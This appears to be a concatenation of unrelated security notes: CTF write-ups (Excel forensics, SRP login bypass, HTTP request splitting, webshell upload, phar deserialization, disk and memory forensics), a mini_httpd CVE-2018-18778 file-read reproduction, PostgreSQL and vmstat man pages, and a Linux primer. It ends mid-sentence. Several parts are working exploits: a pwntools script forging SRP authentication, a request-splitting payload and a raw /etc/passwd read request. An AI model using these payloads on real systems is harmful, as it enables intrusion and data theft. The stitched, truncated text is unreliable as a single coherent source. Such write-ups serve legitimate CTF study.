# Down The Rabbit Hole * Category: Forensics * 150 Points * Solved by the JCTF Team ## Description > Follow the rabbit down the "excellent" hole and see where it leads An Excel file was attached. ## Solution Let's start by inspecting the Excel Workbook. If we open it with a dedicated program, we get one sheet named "Sheet1" saying "Find the hidden sheet". ![](images/sheet1.png) We can right-click and select "Show sheet" to view hidden sheets: ![](images/show_sheet.png) Let's use Python to further explore: ```python >>> import openpyxl >>> wb = openpyxl.load_workbook("Down_the_rabbit_hole.xlsx") >>> wb.sheetnames ['Sheet1', 'Sheet2', 'Sheet3'] ``` We can see all three sheets here. As we mentioned, the first cell of the first sheet says: ```python >>> wb["Sheet1"]['A1'].value 'Find the hidden sheet' ``` Let's dump the full contents of the sheet: ```python >>> for row in range(0, sheet1.max_row): ... for col in sheet1.iter_cols(1, sheet1.max_column): ... if col[row].value is not None: ... print(f"{col[row].coordinate}: {col[row].value}") A1: Find the hidden sheet A101: 35 A102: 56 A103: 76 A104: 78 A105: 70 A106: 73 A107: 97 A108: 65 A109: 86 A110: 60 A111: 108 A112: 67 A113: 95 A114: 69 A115: 78 A116: 89 A117: 69 A118: 82 A119: 103 A120: 113 A121: 96 A122: 76 A123: 97 A124: 83 A125: 57 A126: 68 A127: 106 A128: 125 A129: 54 A130: 73 A131: 92 A132: 81 A133: 91 A134: 81 A135: 62 A136: 92 A137: 93 A138: 73 A139: 70 A140: 73 A141: 83 A142: 85 A143: 67 A144: 75 A145: 83 A146: 96 A147: 54 A148: 49 A149: 72 A150: 84 A151: 91 A152: 100 A153: 99 A154: 64 A155: 58 A156: 82 A157: 44 A158: 132 A159: 77 A160: 94 A161: 55 A162: 30 A163: 59 A164: 39 A165: 86 A166: 93 A167: 85 A168: 97 A169: 93 A170: 88 A171: 93 A172: 40 A173: 38 A174: 50 A175: 86 A176: 64 A177: 72 A178: 83 A179: 97 A180: 83 A181: 77 A182: 85 A183: 92 A184: 85 A185: 72 A186: 77 A187: 82 A188: 81 A189: 52 A190: 43 A191: 108 A192: 149 A193: 56 A194: 39 A195: 49 A196: 63 A197: 39 A198: 69 A199: 29 A200: 44 A857: 1 ``` On to sheet #2, which was originally hidden: ```console >>> sheet2 = wb["Sheet2"] >>> for row in range(0, sheet2.max_row): ... for col in sheet2.iter_cols(1, sheet2.max_column): ... if col[row].value is not None: ... print(f"{col[row].coordinate}: {col[row].value}") A1: Find the VERY hidden sheet A100: 35 A101: 56 A102: 76 A103: 78 A104: 70 A105: 73 A106: 97 A107: 65 A108: 86 A109: 60 A110: 108 A111: 67 A112: 95 A113: 69 A114: 78 A115: 89 A116: 69 A117: 82 A118: 103 A119: 113 A120: 96 A121: 76 A122: 97 A123: 83 A124: 57 A125: 68 A126: 106 A127: 125 A128: 54 A129: 73 A130: 92 A131: 81 A132: 91 A133: 81 A134: 62 A135: 92 A136: 93 A137: 73 A138: 70 A139: 73 A140: 83 A141: 85 A142: 67 A143: 75 A144: 83 A145: 96 A146: 54 A147: 49 A148: 72 A149: 84 A150: 91 A151: 100 A152: 99 A153: 64 A154: 58 A155: 82 A156: 44 A157: 132 A158: 77 A159: 94 A160: 55 A161: 30 A162: 59 A163: 39 A164: 86 A165: 93 A166: 85 A167: 97 A168: 93 A169: 88 A170: 93 A171: 40 A172: 38 A173: 50 A174: 86 A175: 64 A176: 72 A177: 83 A178: 97 A179: 83 A180: 77 A181: 85 A182: 92 A183: 85 A184: 72 A185: 77 A186: 82 A187: 81 A188: 52 A189: 43 A190: 108 A191: 149 A192: 56 A193: 39 A194: 49 A195: 63 A196: 39 A197: 69 A198: 29 A199: 44 ``` And for sheet #3, which we can only assume was VERY hidden: ```python >>> sheet3 = wb["Sheet3"] >>> for row in range(0, sheet3.max_row): ... for col in sheet3.iter_cols(1, sheet3.max_column): ... if col[row].value is not None: ... print(f"{col[row].coordinate}: {col[row].value}") A1: Now find the super ZIPper hidden sheet A100: 35 A101: 56 A102: 76 A103: 78 A104: 70 A105: 73 A106: 97 A107: 65 A108: 86 A109: 60 A110: 108 A111: 67 A112: 95 A113: 69 A114: 78 A115: 89 A116: 69 A117: 82 A118: 103 A119: 113 A120: 96 A121: 76 A122: 97 A123: 83 A124: 57 A125: 68 A126: 106 A127: 125 A128: 54 A129: 73 A130: 92 A131: 81 A132: 91 A133: 81 A134: 62 A135: 92 A136: 93 A137: 73 A138: 70 A139: 73 A140: 83 A141: 85 A142: 67 A143: 75 A144: 83 A145: 96 A146: 54 A147: 49 A148: 72 A149: 84 A150: 91 A151: 100 A152: 99 A153: 64 A154: 58 A155: 82 A156: 44 A157: 132 A158: 77 A159: 94 A160: 55 A161: 30 A162: 59 A163: 39 A164: 86 A165: 93 A166: 85 A167: 97 A168: 93 A169: 88 A170: 93 A171: 40 A172: 38 A173: 50 A174: 86 A175: 64 A176: 72 A177: 83 A178: 97 A179: 83 A180: 77 A181: 85 A182: 92 A183: 85 A184: 72 A185: 77 A186: 82 A187: 81 A188: 52 A189: 43 A190: 108 A191: 149 A192: 56 A193: 39 A194: 49 A195: 63 A196: 39 A197: 69 A198: 29 A199: 44 ``` This sheet says "Now find the super ZIPper hidden sheet". Excel files are actually ZIP files, so let's go ahead and extract out file: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Down_The_Rabbit_Hole] └─$ unzip Down_the_rabbit_hole.xlsx -d out Archive: Down_the_rabbit_hole.xlsx creating: out/docProps/ inflating: out/docProps/app.xml inflating: out/docProps/core.xml creating: out/xl/ inflating: out/xl/sharedStrings.xml inflating: out/xl/styles.xml creating: out/xl/theme/ inflating: out/xl/theme/theme1.xml inflating: out/xl/workbook.xml creating: out/xl/worksheets/ inflating: out/xl/worksheets/sheet1.xml inflating: out/xl/worksheets/sheet2.xml inflating: out/xl/worksheets/sheet3.xml extracting: out/xl/worksheets/sheet4.xml creating: out/xl/_rels/ inflating: out/xl/_rels/workbook.xml.rels inflating: out/[Content_Types].xml creating: out/_rels/ inflating: out/_rels/.rels ``` There it is, right next to the first three sheets: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Down_The_Rabbit_Hole] └─$ cat out/xl/worksheets/sheet4.xml Now go back and find the super DUPer hidden rows ``` Duplicate hidden rows? Well, within the Zip archive, Excel stores information in XML files. Let's dive deeper into the XML for the first sheet and look for duplicates. This is how a sheet looks like as XML: ```xml <?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" mc:Ignorable="x14ac"> <sheetPr codeName="Sheet1" /> <dimension ref="A1:A857" /> <sheetViews> <sheetView tabSelected="1" workbookViewId="0" /> </sheetViews> <sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25" /> <sheetData> <row r="1" spans="1:1" x14ac:dyDescent="0.25"> <c r="A1" t="s"> <v>0</v> </c> </row> <row r="101" spans="1:1" x14ac:dyDescent="0.25"> <c r="A101"> <v>35</v> </c> </row> <!-- ... --> <row r="200" spans="1:1" x14ac:dyDescent="0.25"> <c r="A200"> <v>44</v> </c> </row> <row r="857" spans="1:1" x14ac:dyDescent="0.25"> <c r="A857"> <v>1</v> </c> </row> </sheetData> <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3" /> </worksheet> ``` Each row is contained within a `<row>` element with the row number as the `r` attribute. Are there duplicates? ```python import xml.etree.ElementTree as ET from collections import Counter namespaces = { "t": "http://schemas.openxmlformats.org/spreadsheetml/2006/main" } tree = ET.parse('out/xl/worksheets/sheet1.xml') print(Counter(row.attrib["r"] for row in tree.findall('.//t:row', namespaces))) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Down_The_Rabbit_Hole] └─$ python3 solve.py Counter({'109': 2, '116': 2, '120': 2, '142': 2, '161': 2, '184': 2, '199': 2, '1': 1, '101': 1, '102': 1, '103': 1, '104': 1, '105': 1, '106': 1, '107': 1, '108': 1, '110': 1, '111': 1, '112': 1, '113': 1, '114': 1, '115': 1, '117': 1, '118': 1, '119': 1, '121': 1, '122': 1, '123': 1, '124': 1, '125': 1, '126': 1, '127': 1, '128': 1, '129': 1, '130': 1, '131': 1, '132': 1, '133': 1, '134': 1, '135': 1, '136': 1, '137': 1, '138': 1, '139': 1, '140': 1, '141': 1, '143': 1, '144': 1, '145': 1, '146': 1, '147': 1, '148': 1, '149': 1, '150': 1, '151': 1, '152': 1, '153': 1, '154': 1, '155': 1, '156': 1, '157': 1, '158': 1, '159': 1, '160': 1, '162': 1, '163': 1, '164': 1, '165': 1, '166': 1, '167': 1, '168': 1, '169': 1, '170': 1, '171': 1, '172': 1, '173': 1, '174': 1, '175': 1, '176': 1, '177': 1, '178': 1, '179': 1, '180': 1, '181': 1, '182': 1, '183': 1, '185': 1, '186': 1, '187': 1, '188': 1, '189': 1, '190': 1, '191': 1, '192': 1, '193': 1, '194': 1, '195': 1, '196': 1, '197': 1, '198': 1, '200': 1, '857': 1}) ``` Indeed, we have a few rows that appear twice. What's special about them? ```python import xml.etree.ElementTree as ET from collections import Counter namespaces = { "t": "http://schemas.openxmlformats.org/spreadsheetml/2006/main" } tree = ET.parse('out/xl/worksheets/sheet1.xml') dups = {} for row in tree.findall('.//t:row', namespaces): row_num = row.attrib["r"] row_val = row.find("t:c/t:v", namespaces).text if row_num in dups: print(f"Row {row_num}: Old value: {dups[row_num]}, new value: {row_val}") else: dups[row_num] = row_val ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Down_The_Rabbit_Hole] └─$ python3 solve.py Row 109: Old value: 73, new value: 86 Row 116: Old value: 78, new value: 89 Row 120: Old value: 84, new value: 113 Row 142: Old value: 69, new value: 85 Row 161: Old value: 78, new value: 55 Row 184: Old value: 84, new value: 85 Row 199: Old value: 123, new value: 29 ``` That actually looks like the flag format in ASCII codes! Let's clean it up and repeat for all sheets: ```python import xml.etree.ElementTree as ET from pathlib import Path namespaces = { "t": "http://schemas.openxmlformats.org/spreadsheetml/2006/main" } flag = "" for sheet in Path('out/xl/worksheets/').glob('sheet*.xml'): try: tree = ET.parse(sheet) dups = {} for row in tree.findall('.//t:row', namespaces): row_num = row.attrib["r"] row_val = row.find("t:c/t:v", namespaces).text if row_num in dups: flag += chr(int(dups[row_num])) else: dups[row_num] = row_val except ET.ParseError: pass print(flag) ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/Down_The_Rabbit_Hole] └─$ python3 solve.py INTENT{u_f0und_w0nd3rl2nd} ```
sec-knowleage
# mini_httpd任意文件读取漏洞(CVE-2018-18778) Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。 在mini_httpd开启虚拟主机模式的情况下,用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。 ```c (void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f ); ``` 见上述代码,分析如下: - 当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。 - 当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`。 后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。 ## 环境搭建 执行如下命令启动mini_httpd 1.29: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可看到Web页面。 ## 漏洞复现 发送请求是将Host置空,PATH的值是文件绝对路径: ``` GET /etc/passwd HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close ``` 成功读取文件: ![](1.png)
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "SET TRANSACTION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME SET TRANSACTION \- 设置当前事务的特性 .SH SYNOPSIS .sp .nf SET TRANSACTION [ ISOLATION LEVEL { READ COMMITTED | SERIALIZABLE } ] [ READ WRITE | READ ONLY ] SET SESSION CHARACTERISTICS AS TRANSACTION [ ISOLATION LEVEL { READ COMMITTED | SERIALIZABLE } ] [ READ WRITE | READ ONLY ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBSET TRANSACTION\fR 命令为当前事务设置特性。 它对后面的事务没有影响。 \fBSET SESSION CHARACTERISTICS\fR 为一个会话中的每个事务设置缺省的隔离级别。 \fBSET TRANSACTION\fR 可以为一个独立的事务覆盖上面的设置。 .PP 可用的事务特性是事务隔离级别和事务访问模式(读/写或者只读)。 .PP 事务的隔离级别决定一个事务在同时存在其它并行运行的事务时它能够看到什么数据。 .TP \fBREAD COMMITTED\fR 一条语句只能看到在它开始之前的数据。这是缺省。 .TP \fBSERIALIZABLE\fR 当前的事务只能看到在这次事务第一条查询或者修改数据的语句执行之前的数据。 .sp .RS .B "Tip:" 提示: 说白了,serializable(可串行化)意味着两个事务将把数据库保持在同一个状态, 就好象这两个事务是严格地按照先后顺序执行地那样。 .RE .sp .PP 事务隔离级别在事务中第一个数据修改语句 (\fBSELECT\fR, \fBINSERT\fR, \fBDELETE\fR, \fBUPDATE\fR, \fBFETCH\fR, \fBCOPY\fR) 执行之后就不能再次设置。 参阅 Chapter 12 ``Concurrency Control'' 获取有关事务隔离级别和并发性控制的更多信息。 .PP 事务访问模式决定事务是读/写还是只读。读/写是缺省。如果一个 事务是只读,而且写入的表不是临时表,那么下面的 SQL 命令是不允许的:INSERT, UPDATE,DELETE,和 COPY TO; 而所有的 CREATE,ALTER,和 DROP 命令; COMMENT,GRANT,REVOKE, TRUNCATE;和 EXPLAIN ANALYZE 和EXECUTE 都不允许。这是一个高层次的只读概念,它并不阻止对磁盘的写入。 .SH "NOTES 注意" .PP 会话的缺省事务隔离级别也可以用命令 .sp .nf SET default_transaction_isolation = '\fIvalue\fR' .sp .fi 以及在配置文件里设置。 参考 Section 16.4 ``Run-time Configuration'' 获取更多信息。 .SH "COMPATIBILITY 兼容性" .PP 两个命令都在 SQL 标准里定义了。SQL 里的缺省事务隔离级别是 SERIALIZABLE; 在 PostgreSQL 里,缺省隔离级别是 READ COMMITED,但是你可以用上面的描述修改它。 PostgreSQL 并没有提供隔离级别 READ UNCOMMITTED 和 REPEATABLE READ。 因为多版本并发控制,SERIALIZABLE 级别并非真正的可串行化。参阅 Chapter 12 ``Concurrency Control'' 获取细节。 .PP 在 SQL 标准里还有另外一种事务特性可以用这些命令设置:诊断范围的大小。这个概念只用于嵌入的 SQL。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
from pwn import * import hashlib def H(P): return hashlib.sha256(P).hexdigest() def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m def tostr(A): return hex(A)[2:].strip('L') v=0xebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59 N=168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L g=9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L # g=2**671 # # Given pS, N, v # Knowing pS=g**r % N # Find (pC*v)**r % N for pC chosen by you. # # Observation: # If g**2=pC*v (mod N), then constraints are fulfilled. # Then pC=(g**2 * modinv(v, N)) % N pC=(g**2 * modinv(v,N))%N context.log_level="DEBUG" r=remote("tonnerre.pwning.xxx", 8561) r.sendline("get_flag") # Username known from SQLi r.sendline(tostr(pC)) r.recvline() # Welcome. r.recvline() # Salt. res=int(r.recvline(),16) # Residue=(pS+v)%N pS=(res-v+N)%N key=H(tostr(pow(pS, 2, N))) r.sendline(H(tostr(res)+key)) r.recvall()
sec-knowleage
# 反馈移位寄存器 一般的,一个 n 级反馈移位寄存器如下图所示 其中 - $a_0$,$a_1$,…,$a_{n-1}$,为初态。 - F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器(LFSR),否则我们称其为非线性反馈移位寄存器(NFSR)。 - $a_{i+n}=F(a_i,a_{i+1},...,a_{i+n-1})$ 。 一般来说,反馈移位寄存器都会定义在某个有限域上,从而避免数字太大和太小的问题。因此,我们可以将其视为同一个空间中的变换,即 $(a_i,a_{i+1},...,a_{i+n-1}) \rightarrow (a_{i+1},...,a_{i+n-1},a_{i+n})$ . 对于一个序列来说,我们一般定义其生成函数为其序列对应的幂级数的和。
sec-knowleage
# Cat flag (web, 60p, 12 solved) In the challenge we can connect to a website which is split in 2 parts. There is [frontend](Frontend.java) and [backend](Backend.java). It's clear that the flag can be served by backend if we request `/flag` endpoint, however we can't query backend directly at all. We can only send requests to the frontend side. We can send request with few names and then the frontend will do: ```java for (int i = 0; i < names.length; i++) { String name = names[i].trim(); URI url = new URI("http://localhost:8085/cat/" + URLEncoder.encode(name, "UTF-8")); HttpGet httpget = new HttpGet(url); httpget.setHeader("X-Trace", trace); String response = httpclient.execute(httpget, responseHandler); cats[i] = response; } ``` We control the names, but we also control the `trace` parameter. `URLEncoder.encode` is bulletproof, so we can't do anything strange there. On the other hand `httpget.setHeader("X-Trace", trace);` seems interesting. If we go into the source code of the library we can notice that there are special checks to prevent passing `\r\n` inside header value. However, java uses unicode strings! We can send for example `\xE0\xB4\x8A`, it will bypass the checks for `\r\n` obviously, but it will also be interpreted as proper newline sequence. This gives us power to inject headers, and even more, we can do request splitting to inject a second request. We need to send `keep-alive` header to prevent server from closing connection after the first request, and we need to send at least 2 names, so that the frontend will expect another response: ```python import requests def main(): host = "http://catflag.hackable.software:8080" url = host + "/cats?traceId=1234\xE0\xB4\x8AConnection: keep-alive\xE0\xB4\x8A\xE0\xB4\x8AGET /flag HTTP/1.0\xE0\xB4\x8A\xE0\xB4\x8A" r = requests.post(url, json={"names": ["ala", "ola"]}) print(r.text) main() ``` This way we get back `DrgnS{Th1sIsN0tAS3cur1tyBug}`
sec-knowleage
.\" This page Copyright (C) 1994 Henry Ware <al172@yfn.ysu.edu> .\"; 中文版版权所有 soloman, Laser www.linuxforum.net 2000 .\" Distributed under the GPL, Copyleft 1994. .TH VMSTAT 8 "27 July 1994 " "Throatwobbler Ginkgo Labs" "Linux 系统管理员手册" .SH NAME vmstat \- 报告虚拟内存的统计信息 .SH 总览 vmstat [\-n] [延时[次数]] .br vmstat [\-V] .SH 描述 vmstat 对系统的进程情况、内存使用情况、交换页和 I/O 块使用情况、 中断以及 CPU 使用情况进行统计并报告相应的信息。 第一个显示内容指出了计算机自上次重启至今的平均使用情况。 后面的每一行信息是按 .I 延时 定期地显示系统的各部分信息。 进程信息和内存信息都是即时产生的。 .SS 选项 \fB-n\fP 开关令第一次的信息只显示一次而不是周期地产生。 .PP .I 延时 是以秒为单位的刷新时间间隔。 如果没有给出此延时时间,则仅显示系统启动至今的平均值。 .PP .I 次数 指的是更新的次数。 如果没有指定此数而又定义了延时时间,则次数的默认值是无穷次。 .PP \fB-V\fP 开关可以用来输出该命令的版本信息。 .SH 输出信息简介 .SS .B "Procs" .nf r: 等待运行的进程数 b: 处在非中断睡眠状态的进程数 w: 被交换出去的可运行的进程数。 此数由 linux 计算得出,但 linux 并不耗尽交换空间 .fi .PP .SS .B "Memory" .nf swpd: 虚拟内存使用情况,单位:KB free: 空闲的内存,单位KB buff: 被用来做为缓存的内存数,单位:KB .fi .PP .SS .B Swap .nf si: 从磁盘交换到内存的交换页数量,单位:KB/秒 so: 从内存交换到磁盘的交换页数量,单位:KB/秒 .fi .PP .SS .B "IO" .nf bi: 发送到块设备的块数,单位:块/秒 bo: 从块设备接收到的块数,单位:块/秒 .fi .PP .SS .B "System" .nf in: 每秒的中断数,包括时钟中断 cs: 每秒的环境(上下文)切换次数 .fi .PP .SS .B "CPU" 按 CPU 的总使用百分比来显示 .nf us: CPU 使用时间 sy: CPU 系统使用时间 id: 闲置时间 .nf .SH 注意 运行 .B "vmstat " 不须要特别的使用权限 .PP 这些系统信息是用来向用户提供分析系统瓶颈问题信息的。 linux在计算进程情况时不将正在运行的 .B "vmstat " 自己计算进去。 .PP 当前所在的 linux 块的大小都是 1K,而 CD-ROM 文件系统的块大小为 2K。 .SH 相关文件 .ta .nf /proc/meninfo /proc/stat /proc/*/stat .fi .SH 又见 ps(1),top(1),free(1) .SH 臭虫 该命令不会对系统的每个设备的块输入输出进行列表,也不对系统调用进行计数。 .SH 作者 该程序由 Henry Ware &lt;all72@yfn.ysu.edu&gt;完成 Throatwobbler Ginkgo Labs 27 July 1994 .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" 2000/11/26 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: Linux命令行 --- ### Linux 系统有多种发行版 我们安装的是 深度 Linux ,这个系统跟国外的 Ubuntu Linux 非常类似。如果装不了深度,可以尝试安装 Ubuntu 。 其他的知名 Linux 发行版还有很多,例如 Red Hat ,Suse,Fedora , CentOS 等等。 ### 打开命令行界面 学习 linux 最重要的就是来使用它的命令行。 **Ctrl-Alt-T** 是 **深度 Linux** 系统上打开命令行窗口的快捷键。这个命令行窗口程序,在 Mac 系统上叫 iTerm ,在深度系统上叫“深度终端”。 命令行窗口中可以运行的程序不唯一。默认启动的程序叫做 Bash ,这个是我们这个要学习的核心。在 Bash 下就可以来输入各种 Linux 命令了。 **例如**,可以敲 ``` ls ``` 来列出当前位置都有哪些文件。 但是,命令行窗口中也能启动其他的程序,例如 Python/Javascript 的解析器。这些我们不管,所谓 学习 Linux 命令行,其实就是学习 Bash ( Mac 系统上用的命令行也是 Bash)。 ### Bash 简介 Bash 是各种命令行中最流行的一种,其中后两个字符 sh 是 shell 这个单词的缩写,shell 的意思就是“命令行”,前面 Ba 是人名,我们不用管。 Bash 的常用命令: - ls 列出当前位置所有文件 - rm 删除文件,或者文件夹 - cd 改变当前位置 - mv 移动文件 - 等等等等 ### 命令行能干什么? 命令行和鼠标(图形化的界面)一样是人类操作电脑的一种方式。基本上鼠标能干得活,命令行都能干(个别的像 Photoshop 的大部分操作,还是鼠标好用一些)。 同时,只要命令行能干的事情,都会比鼠标更高效,因为命令行是可以批处理的。实际开发中,我们用命令行最经常的操作就是,创建文件,删除移动文件等。 举个例子,如果我要在桌面上创建一个文件夹,可以用鼠标右键来创建,同时如果用命令行,操作如下 ``` cd Desktop mkdir FolderName ``` - 上面 cd Desktop 改变当前位置到桌面。 - mkdir 是创建一个文件夹的命令 最终操作结果是等价的。但是如果要学习命令行操作,第一步就是要掌握文件系统结构。
sec-knowleage
# web ## 找色差吗? 查看js代码 F12,控制台输入语句 ```js var _0x268d05 = { 'vFYyb': _0x2f2b('0x1983', 'vXeU'), 'rshMS': function _0x593385(_0x36599a, _0x5f41b7) { return _0x36599a / _0x5f41b7; }, 'xWQRG': function _0x337c99(_0x53c811, _0xe4afa4) { return _0x53c811 - _0xe4afa4; }, 'ZuQxI': function _0x242b7d(_0x4e358a, _0xbefac3) { return _0x4e358a * _0xbefac3; }, 'DCMCO': function _0x1e5dd4(_0x577f5a, _0x2dafd8) { return _0x577f5a > _0x2dafd8; }, 'bPzve': function _0x49960b(_0x43d8c9, _0x3dd75e) { return _0x43d8c9 === _0x3dd75e; }, 'GFiYI': function _0x1a3caa(_0x167948, _0x13fa0c, _0x580fa8) { return _0x167948(_0x13fa0c, _0x580fa8); }, 'rQJbg': _0x2f2b('0x1984', 'F8QA'), 'fwSPi': function _0xbc327(_0x3da5ce, _0x3e3e3c) { return _0x3da5ce(_0x3e3e3c); }, 'GkSez': '4|3|1|0|2', 'UVjif': _0x2f2b('0x1985', ']Z3^'), 'TQMlf': function _0x3c2939(_0x30791e, _0x108e7b) { return _0x30791e > _0x108e7b; } }; var _0x60a0ea = _0x268d05[_0x2f2b('0x1999', '6T2X')]; console['log'](strEnc('find_different_blocks', _0x60a0ea, '8c4f1', 'faf82')); ``` 输出的字符串 md5 21E7AE40B06B28439D031D6848F6E5736B28CA5D50DB89BC34468C8195AC002AB593117A1BDAEA972B8C223883FA6443 得到flag 84673edf8a1ab819dadfdb5da4f41cfe --- ## easy upload 上传时进行 FUZZ,发现可以上传pht后缀的文件,上传一个一句话,蚁剑连接,查看flag 赛后看了下官方writeup,好像是非预期解 官方解法是 - 发现存在 index.php~文件,下载得到部分源码 - 经过一番上传测试之后发现文件名中只要含有 php 及其他 php 文件后缀就无法上传 - 但是发现只要不是 php 即可上传,同时由部分源码得知存在 ORZ 类,该类的析构函数会输出 flag - 同时由源码得,虽然存在 ORZ 类,但是没有反序列化操作,而是将传入 filename 参数会被带入 file_get_contents 中执行。这里可以想到利用 phar://协议和文件上传来进行反序列化。 - 通过如下 php 代码生成 phar 格式文件(注意:要将 php.ini 中的 phar.readonly 选项设置为 Off, 否则无法生成 phar 文件),然后上传至服务器 ```php <?php class ORZ{ public function __destruct(){ } } #unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php _HALF_COMPILER(); ?>"); $o = new ORZ(); $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ``` - 通过上传构造好的 phar 文件,然后通过 file_get_contents 函数触发其中的反序列化 - 根据返回得知上传后的文件地址 - 之后通过 get 传递参数 `filename=phar://ec5decca5ed3d6b8079e2e7e7bacc9f2/phar.phar/test.txt` 即可获得 flag --- # Misc ## 巨人的秘密 binwalk 跑一下发现有 zip 在里面,直接用 winrar 修复出来,然后改一下后缀名为 zip 通过 010 editor 将图片从图片源文件另存出来并压缩成 zip,确保 CRC 一致 然后进行明文攻击 结合 010 里看到的 DeEgger 可知是 DeEgger Embedder 隐写 解密 根据主办方给出的工具 PixelJihad,用密码 Wings_of_freedom 成功解出 ## 阿巴阿巴 这题是赛后参考官方的 writeup 做出来的, 有点绕, 涉及到内存取证 + 磁盘取证 + 字符隐写 + 系统取证,最后的一张张图片尝试解密磁盘和蝌蚪文解2次真的就纯粹恶心选手,不说了,出题人司马. 解压附件,得到一个磁盘和一个内存文件,先将磁盘静态分析(动态分析有可能破坏磁盘原有的附件内容) DG 打开 vhd ,发现磁盘内容为空 利用 DG 自带的恢复文件功能进行文件恢复.(注:该功能需要 DG 高级版) 可以看到一个 TC 文件,这个缩写可能是 TrueCrypt 的加密磁盘,这里用 VeraCrypt 尝试解密 尝试挂载,需要密码 VHD 磁盘是使用 NTFS 格式的,NTFS 在 Windows vista 后默认会开启磁盘日志,下面动态分析 VHD 文件,<kbd>win</kbd>+<kbd>x</kbd>,选择 <kbd>磁盘管理</kbd>,操作 -- 附加 VHD 这个时候我们使用磁盘取证工具,winhex 查看一下磁盘日志。进入 winhex 按 F9,打开 查看磁盘内容 NTFS 磁盘日志保存在 `$UsnJrnl` 下,分为 `$J` 和 `$Max`,`$J` 记录了文件系统的操作记录,`$Max` 记录文件大小改动。我们这里先查看下 `$JWinhex` 导出 `$J` 文件(路径:`$Extend/$UsnJrnl/$J`)右键选择,选择恢复,指定恢复路径到桌面 使用工具 [UsnJrnl2Csv](https://github.com/jschicht/UsnJrnl2Csv) 进行内容的读取 查看导出的 csv 文件 这里了可以看到多个 txt 的操作记录,由于无法进行还原,尝试用文件名 N2FyHnb@BXR2EQD0@39C 去解密 TC 磁盘,挂载成功,并发现一个加密的 key.7z 压缩包 接下来就是到内存中找压缩包的密码,这里其实有个巧方法就是直接搜索 key.7z ```bash strings 1z_mem.vmem | grep "key.7z" ``` 密码 SSj7MYUMrtPEdOJ! 当然你用 Volatility 最后也会去搜 key.7z , 因为 win10 的内存压缩特性,所以内存取证是没有办法提取 win10 系统内除文本文件以外的大部分文件的。又因为 Cmdscan 等插件对 win10 内存无法使用,所以无法从命令行中得到密码 解压 key.7z,得到一个表情包文件夹 通过检测可知都没有隐写数据。联想到文件夹,猜测可能文件本身是密钥。 VeraCrypt 有一个功能是可以在正常的加密磁盘中生成隐藏磁盘,使用不同的密钥可以解开不同的磁盘。故此我们尝试使用 VeraCrypt 文件密钥,需要先把 One is a key 文件夹从磁盘中复制到桌面,然后逐个尝试。 这里尝试到 931377d26d30102077f706f00f26c146.jpg 时挂载成功,由于每次解密失败都会无响应,所以比较考验选手耐心 但是打开磁盘发现什么内容都没有,使用 winhex 查看下。同样是按 F9 调出磁盘。 将 阿巴阿巴.txt 导出 用蝌蚪文解密工具进行解密2次 http://www.megaemoji.com/cn/generators/tadpole/ --- ## NTDS 题目给的压缩包里有4个附件 解压, flag.zip 是加密的,info 给的提示如下 winRAR 查看 flag.zip 注释说是某个用户的 ntml hash 看来需要通过 S 和 n 文件解压 flag.zip kali 下 file 分析2个文件 n 分析出是 Extensible storage engine DataBase,结合题目名称和压缩包注释,基本上断定是 